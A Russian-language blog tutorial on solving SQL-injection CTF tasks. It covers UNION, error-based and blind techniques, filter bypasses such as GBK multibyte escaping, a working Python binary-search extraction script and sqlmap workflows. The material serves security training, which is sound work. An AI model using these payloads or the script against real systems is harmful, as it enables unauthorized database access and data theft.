Главная / Блог / SQL-инъекции CTF: от ошибки базы данных до извлечения флага

15 мин.00

SQL-инъекции CTF: от ошибки базы данных до извлечения флага

SQL-инъекции CTF: от ошибки базы данных до извлечения флага

SQL-инъекции CTF: от ошибки базы данных до извлечения флага

На последнем CTF один таск за 300 очков висел нерешённым два часа — обычная SQL-инъекция в форме логина. Я вбил admin' в поле username, получил You have an error in your SQL syntax near ''', и через 11 минут сдал флаг. Ошибка 80% участников — не в незнании SQL, а в отсутствии системы: они копируют пейлоады из гугла, вставляют в поле ввода и удивляются тишине. Между «нашёл инъекцию» и «достал флаг» лежит цепочка конкретных шагов, и порядок этих шагов определяет — потратишь ты 5 минут или час. Разберём всю цепочку — от первой кавычки до финального дампа — руками и через sqlmap.

Место SQL-инъекции в цепочке CTF-задания

По классификации MITRE ATT&CK SQL-инъекция — это Exploit Public-Facing Application (T1190, Initial Access). В CTF это почти всегда единственный вектор: нашёл инъекцию → вытянул данные из базы (Data from Information Repositories, T1213, Collection — T1213 формально про доступ авторизованного пользователя к репозиториям, но в CTF это ближайший аналог) → забрал флаг. Даже внутри одного таска есть чёткая последовательность, и нарушать её — терять время:

  1. Разведка — найти уязвимый параметр и определить СУБД
  2. Классификация — определить тип инъекции (UNION / error / blind) по поведению приложения
  3. Эксплуатация — вытащить метаданные (таблицы, столбцы), затем целевые данные
  4. Получение флага — прочитать конкретную строку из конкретной таблицы

Шаг 2 — самый критичный. Неправильно определил тип инъекции — полчаса подбираешь UNION-пейлоад на blind-задании, где результаты запроса вообще не отображаются. Согласно OWASP A03:2021 — Injection, SQL-инъекция держится в тройке самых распространённых уязвимостей веб-приложений, и в CTF она встречается от beginner до hard.

[Применимо: web CTF (DVWA, PortSwigger Web Academy, root-me.org, HackTheBox, PicoCTF). В реальном пентесте после SQLi начинается System Information Discovery (T1082) и чтение файлов — но в CTF цепочка обычно заканчивается на дампе таблицы.]

Разведка точки инъекции — от кавычки до типа СУБД

Как определить СУБД по ответу сервера

Первое действие на любом веб-таске — отправить одинарную кавычку ' во все видимые параметры: поля форм, GET-параметры URL, cookie (тут Burp Suite с --level=3 незаменим). Цель — получить реакцию, которая подтвердит инъекцию и раскроет тип СУБД.

Маркеры СУБД в сообщениях об ошибках:

Фрагмент ответа СУБД Комментарий
You have an error in your SQL syntax MySQL / MariaDB Самый частый в CTF
ERROR: syntax error at or near PostgreSQL Встречается в PortSwigger-лабах
near "...": syntax error SQLite Часто в лёгких CTF-тасках
Unclosed quotation mark MSSQL Редко в CTF, чаще в реальных пентестах
ORA-01756 Oracle Почти не встречается в CTF

Если ошибка не отображается — это ещё не значит, что инъекции нет. Сервер может глотать ошибки. Проверяй разницу в поведении: ' OR 1=1-- - может вернуть все записи, а ' OR 1=2-- - — пустой результат. Разное поведение = boolean-based blind injection.

Требования к окружению для воспроизведения примеров: - ОС: Kali Linux 2024+, Ubuntu 22.04+, или любая ОС с Python 3.8+ - Инструменты: Burp Suite Community Edition, curl, браузер с DevTools - sqlmap: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git (проект активно поддерживается — коммиты практически ежедневно) - Целевая платформа: DVWA (локально через Docker), PortSwigger Web Academy (бесплатно, онлайн), или CTF-площадка - RAM: минимум 4 ГБ для локальной DVWA в Docker; для онлайн-площадок — любая конфигурация

Контекст инъекции — строковый или числовой параметр

Прежде чем слепо вставлять пейлоады, определи контекст:

Строковый параметр — значение обёрнуто в кавычки в SQL-запросе: WHERE name = 'input'. Для инъекции нужно закрыть кавычку: ' UNION SELECT ...--.

Числовой параметр — значение подставляется как есть: WHERE id = input. Кавычка не нужна: 1 UNION SELECT ...--.

Как определить: если ' вызывает ошибку «unterminated string», а 1 AND 1=1 меняет поведение без кавычки — параметр числовой. Если наоборот — строковый. Это 30 секунд тестирования, которые экономят 10 минут подбора пейлоадов.

UNION-based SQL injection — ручной подход шаг за шагом

UNION-based — самая быстрая техника. Работает, когда приложение выводит результаты SQL-запроса на страницу. Оператор UNION позволяет прицепить второй SELECT к оригинальному запросу, и его результат появится в ответе. По данным PortSwigger Web Security Academy, UNION-атаки бесполезны при blind-инъекциях — там нет видимого вывода.

Определяем количество столбцов

UNION SELECT требует совпадения числа столбцов в твоём запросе с оригинальным. Два способа:

ORDER BY (быстрый): отправляешь ' ORDER BY 1-- -, ' ORDER BY 2-- -, ' ORDER BY 3-- -. Когда сервер вернёт ошибку — столбцов на один меньше. Если ' ORDER BY 3-- - работает, а ' ORDER BY 4-- - падает с «Unknown column '4' in 'order clause'» — столбцов ровно три. Для больших таблиц используй бинарный поиск: проверь ORDER BY 10, потом ORDER BY 5, потом ORDER BY 7 — за 4 запроса найдёшь точное число даже при 20 столбцах.

UNION SELECT NULL (надёжный): отправляешь ' UNION SELECT NULL-- -, затем ' UNION SELECT NULL,NULL-- -, и так далее. Когда ошибка пропадёт — количество NULL совпало с числом столбцов. NULL совместим с любым типом данных, поэтому метод работает даже когда ORDER BY ведёт себя странно.

На практике начинаю с ORDER BY — на задании со стандартной СУБД это занимает 20 секунд. К UNION SELECT NULL перехожу, только если ORDER BY даёт непредсказуемые результаты (бывает при подзапросах в оригинальном SELECT).

Извлечение данных — от information_schema до флага

Определили столбцы — теперь выясняем, какие из них видны на странице. Для трёх столбцов: ' UNION SELECT 'aaa','bbb','ccc'-- -. Если в ответе видишь bbb — второй столбец отображается, остальные молчат. Вся эксфильтрация пойдёт через него.

Последовательность запросов для MySQL:

  1. Версия: ' UNION SELECT NULL,version(),NULL-- - — подтвердить 5.7.x или 8.0.x
  2. Текущая база: ' UNION SELECT NULL,database(),NULL-- - — узнать имя базы
  3. Таблицы: ' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- - — список таблиц текущей базы
  4. Столбцы нужной таблицы: ' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name=0x7365637265745f666c616773-- - (hex-кодирование имени таблицы — чтобы избежать конфликта кавычек в строковом контексте)
  5. Флаг: ' UNION SELECT NULL,flag,NULL FROM secret_flags-- -

Для SQLite всё иначе: information_schema не существует. Вместо шага 3: ' UNION SELECT NULL,sql,NULL FROM sqlite_master-- - — вернёт DDL-определения всех таблиц (CREATE TABLE statements), из которых видны имена столбцов. Это частая ловушка на CTF: задание на SQLite, а игрок долбится в information_schema и получает ошибку, не понимая почему.

Для PostgreSQL: information_schema работает, но version() возвращает длинную строку вида PostgreSQL 14.2 on x86_64.... Вместо database()current_database().

Ограничения UNION-based

Техника не работает в трёх случаях: результаты запроса не отображаются на странице (blind-сценарий); WAF или кастомный фильтр блокирует слово UNION; количество строк результата ограничено (оригинальный запрос с LIMIT 1). Для третьего случая помогает LIMIT 1 OFFSET N в injected-запросе — перебираешь строки по одной.

Error-based injection — данные через сообщения об ошибках

Error-based техника работает, когда сервер показывает ошибки СУБД, но не отображает результаты SELECT. По данным PortSwigger, этот подход «эффективно превращает слепую инъекцию в видимую» — данные оказываются внутри текста ошибки.

Для MySQL два классических приёма — extractvalue() и updatexml(). Конструкция ' AND extractvalue(rand(),concat(0x3a,(SELECT version())))-- - вызовет XPath-ошибку, в тексте которой будет результат вложенного SELECT. Для PostgreSQL работает CAST((SELECT column FROM table) AS int) — попытка привести строку к числу сломается и покажет строковое значение в ошибке.

Нюанс: extractvalue() обрезает вывод до ~32 символов. Если флаг длиннее — используй SUBSTRING: первый запрос с substring((SELECT flag FROM flags),1,32), второй с substring(...,33,32). Для PostgreSQL CAST-ошибка тоже обрезает, но обычно до 64 символов — для CTF-флагов хватает.

Ещё один трюк из соревнований: error-based через GROUP BY и FLOOR(RAND(0)*2). Пейлоад ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - вызовет ошибку «Duplicate entry» с версией СУБД в тексте. Работает на MySQL/MariaDB, на PostgreSQL и SQLite — нет.

Blind SQL injection в CTF — boolean и time-based

Blind-инъекция — самый частый тип на CTF среднего и высокого уровня. Приложение уязвимо, но ты не видишь ни результатов запроса, ни ошибок СУБД. Единственный канал — разница в поведении сервера.

Boolean-based: бинарный поиск по символам

Принцип: задаёшь вопрос «да/нет» через SQL-условие и определяешь ответ по реакции сервера. Классический пример из PortSwigger: cookie TrackingId=xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username='Administrator'),1,1)>'m — если сервер возвращает «Welcome back», первый символ пароля больше m.

Алгоритм: для каждой позиции символа делаем бинарный поиск по ASCII-таблице. Проверка >m отсекает половину алфавита, >t или >g — ещё половину. За 6-7 запросов находим один символ. Для флага из 30 символов — около 200 запросов. Вручную это ад. Решение — скрипт:

# Boolean-based blind — бинарный поиск по символам
import requests

url = "http://target.ctf/page"
flag = ""
for pos in range(1, 50):
    low, high = 32, 127
    while low < high:
        mid = (low + high) // 2
        payload = f"' AND ASCII(SUBSTRING((SELECT flag FROM flags),{pos},1))>{mid}-- -"
        r = requests.get(url, params={"id": payload})
        if "Welcome" in r.text:
            low = mid + 1
        else:
            high = mid
    if low == 32:  # Нет печатного символа — конец строки (надёжнее: предварительно узнать LENGTH())
        break
    flag += chr(low)
    print(f"[+] {flag}")

Это шаблон. Меняешь URL, параметр, маркер true-ответа (Welcome) — и он работает для любого boolean-based blind CTF-таска. Бинарный поиск вместо линейного перебора сокращает запросы с ~95 до ~7 на символ. На 30-символьном флаге разница между 2700 и 210 запросами.

Time-based: SLEEP как оракул

Когда сервер отвечает одинаково на любой ввод (нет визуальной разницы между true и false), остаётся time-based. Для MySQL: ' AND IF(SUBSTRING((SELECT flag FROM flags),1,1)='c',SLEEP(3),0)-- -. Если первый символ — c, ответ придёт через 3+ секунды. Нет — мгновенно.

Аналоги для других СУБД:

СУБД Функция задержки Синтаксис
MySQL SLEEP(N) IF(condition,SLEEP(5),0)
PostgreSQL pg_sleep(N) CASE WHEN condition THEN pg_sleep(5) END
MSSQL WAITFOR DELAY IF condition WAITFOR DELAY '0:0:5'
SQLite нет нативной CASE WHEN condition THEN (WITH RECURSIVE r(i) AS (SELECT 1 UNION ALL SELECT i+1 FROM r WHERE i<100000) SELECT count(*) FROM r) END

SQLite — особый зверь: нет функции задержки, но можно нагрузить СУБД рекурсивным CTE с большим числом итераций. Задержка будет менее предсказуемой, чем SLEEP, но для CTF сойдёт.

Когда time-based НЕ работает: нестабильный интернет маскирует задержку SLEEP; CTF-платформа с жёстким rate-limiting (10 запросов в минуту); СУБД настроена с max_execution_time — запросы убиваются быстрее, чем SLEEP срабатывает. В таких условиях пробуй conditional errors: ' AND (SELECT CASE WHEN (condition) THEN 1/0 ELSE 'a' END)='a — деление на ноль вызовет HTTP 500 при true-условии.

Обход фильтрации в CTF-заданиях

Задания средней и высокой сложности почти всегда содержат фильтрацию. Типичные фильтры и обходы:

Фильтрация пробелов: заменяем на комментарий /**/. Вместо UNION SELECTUNION/**/SELECT. Альтернативы: %09 (tab), %0a (newline), %0d (carriage return) в URL-параметрах.

Фильтрация SELECT / UNION: смена регистра SeLeCt, uNiOn. Если фильтр проверяет с нормализацией регистра — двойное написание: UNUNIONION SESELECTLECT (фильтр при однократной нерекурсивной замене, типа str_replace('UNION','',$input) в PHP, удалит подстроку UNION из середины и оставит UNION SELECT). Для рекурсивной или regex-based фильтрации этот трюк не пройдёт.

Фильтрация кавычек: hex-кодирование строк. Вместо WHERE table_name='users'WHERE table_name=0x7573657273. Для MySQL 0x — нативный синтаксис hex-строк, по данным Invicti SQL Injection Cheat Sheet.

Фильтрация знака равенства: оператор LIKE вместо =. Вместо WHERE name='admin'WHERE name LIKE 'admin'. Или WHERE name IN ('admin').

Фильтрация запятых: UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c — конструкция JOIN не требует запятых для объединения столбцов. Для SUBSTRING без запятых: SUBSTRING(str FROM pos FOR len).

Мультибайтовая кодировка (GBK): если СУБД работает в GBK-кодировке, а фильтрация использует addslashes(), можно обойти экранирование. Байт 0xbf перед кавычкой: addslashes() добавит бэкслеш 0x5c перед 0x27 (кавычка), но 0xbf5c — валидный символ GBK, и кавычка останется неэкранированной. Пример с root-me.org: admin%bf%27 OR 1=1-- - — байт 0xbf перед кавычкой 0x27 поглощает бэкслеш 0x5c, добавленный addslashes(), образуя валидный GBK-символ 0xbf5c, и кавычка проходит. Обход работает только при charset=gbk на соединении с MySQL и при использовании addslashes() вместо mysql_real_escape_string(). Экзотика, но на CTF-площадках вроде root-me такие задания встречаются.

sqlmap в CTF — автоматизация с умом

Ключевые флаги и workflow

sqlmap — открытый инструмент для автоматизации обнаружения и эксплуатации SQL-инъекций. По данным Vaadata, при пентесте sqlmap обычно запускают после ручного подтверждения инъекции — в CTF подход тот же. Сначала руками убедись, что инъекция есть, потом автоматизируй извлечение.

Типичный workflow в CTF:

Шаг 1 — подтверждение и определение типа: sqlmap -u "http://target.ctf/page?id=1" --dbms=mysql --batch. Флаг --dbms=mysql экономит десятки запросов, --batch отвечает на все вопросы автоматически.

Шаг 2 — список баз данных: добавляешь --dbs. sqlmap покажет все доступные базы.

Шаг 3 — таблицы: --tables -D ctf_database. Получишь список таблиц выбранной базы.

Шаг 4 — столбцы и дамп: -T secret_flags --columns, затем -T secret_flags -C flag --dump.

Флаги, которые критически важны для CTF:

  • --technique=U — только UNION-based. Ускоряет на порядок, если ты уже знаешь, что результаты видны на странице.
  • --technique=T или --technique=B — только time-based или boolean-based для blind.
  • --level=3 --risk=2 — расширить тестирование на cookie и заголовки, использовать более агрессивные пейлоады.
  • -r request.txt — загрузить HTTP-запрос из файла Burp. Точку инъекции отмечаешь символом * в значении параметра.
  • --string="Welcome" — для boolean blind: указать маркер true-ответа.
  • --tamper=space2comment,randomcase — подключить tamper-скрипты для обхода фильтров.
  • --delay=2 — задержка между запросами (против rate-limiting).

Когда sqlmap бесполезен

sqlmap — не серебряная пуля. Ситуации, когда руками быстрее:

Нестандартный формат: JSON API, GraphQL, WebSocket. sqlmap ожидает стандартные GET/POST-параметры. Можно указать --data с *, но парсинг кастомных форматов ненадёжен.

Жёсткий rate-limiting: платформа банит после 50 запросов. sqlmap генерирует сотни. Даже с --delay=5 и --threads=1 может не хватить. Ручной бинарный поиск с Python-скриптом точнее и экономнее.

Second-order injection: пейлоад вводится в одном месте (например, в профиле пользователя), а срабатывает в другом (в отчёте администратора). sqlmap не поддерживает это из коробки.

Экзотические обходы: GBK-кодирование, кастомные WAF с нестандартными правилами. Tamper-скрипты покрывают типовые случаи, но на CTF среднего уровня фильтры часто заточены так, чтобы sqlmap не справился.

Моё правило: если sqlmap не нашёл инъекцию за 2 минуты — переходи к ручной работе. Нашёл, но не может вытащить данные — скорее всего, нужен кастомный tamper или ручной пейлоад.

Decision tree — выбор техники под конкретное задание

Перед эксплуатацией потрать 60 секунд на классификацию:

Одинарная кавычка ' → ошибка SQL?
├── Да → Результаты SELECT видны на странице?
│   ├── Да → UNION-based (3-5 мин до флага)
│   └── Нет → Error-based: extractvalue / CAST (5-10 мин)
└── Нет → Ввёл ' OR 1=1-- - → поведение изменилось?
    ├── Да → Boolean-based blind (скрипт или sqlmap)
    └── Нет → ' AND SLEEP(5)-- - → задержка 5 сек?
        ├── Да → Time-based blind (sqlmap --technique=T)
        └── Нет → Другой параметр / cookie / заголовок

Эта схема покрывает 95% CTF-тасков на SQL-инъекции. Оставшиеся 5% — out-of-band (DNS-эксфильтрация через LOAD_FILE() с DNS-запросом) и second-order injection на hard/insane уровнях.

Чеклист для CTF-задания с SQLi

  1. Проверить все параметры (GET, POST, cookie, HTTP-заголовки) на реакцию символа '
  2. Определить СУБД по тексту ошибки или по поведению функций (version() vs @@version vs sqlite_version())
  3. Определить тип инъекции по decision tree
  4. Для UNION: ORDER BY N для подсчёта столбцов → UNION SELECT 'a','b','c' для нахождения видимых → information_schema.tables / sqlite_master для метаданных → дамп флага
  5. Для error-based: extractvalue() или CAST() с вложенным SELECT
  6. Для blind: Python-скрипт с бинарным поиском или sqlmap с --technique=B/T и --string
  7. При фильтрации: /**/ вместо пробелов, смена регистра, hex-кодирование, LIKE вместо =
  8. Если ничего не работает: пересмотреть точку инъекции (cookie? заголовок X-Forwarded-For? JSON body?)

Большинство CTF-игроков теряют время не потому, что не знают синтаксис UNION — а потому что пропускают шаг классификации и пробуют UNION-based там, где результаты запроса вообще не выводятся на страницу. Я видел это на десятках соревнований: человек 40 минут подбирает количество столбцов, не замечая, что сервер отвечает одинаковым шаблоном независимо от результата запроса. Это blind-инъекция, и UNION там не работает по определению.

Второе наблюдение из практики: ручная работа с SQL-инъекциями развивает понимание реляционных баз данных быстрее любого учебника. Когда сам выстраиваешь ORDER BY 3 и видишь, как запрос проходит, а ORDER BY 4 ломается — ты понимаешь структуру SELECT на уровне, который не даёт ни одна книга по SQL. sqlmap прячет эту механику за автоматизацией. Мой принцип: первые 15-20 CTF-тасков на SQLi — только руками. Без sqlmap, без готовых скриптов. Когда пальцы сами начнут набирать ' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- - — тогда sqlmap становится ускорителем, а не костылём. А если хочешь пройти всю атаку от разведки до отчёта, а не отдельные таски — на WAPT эту цепочку разбирают в нескольких модулях с лабой на каждый вектор.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...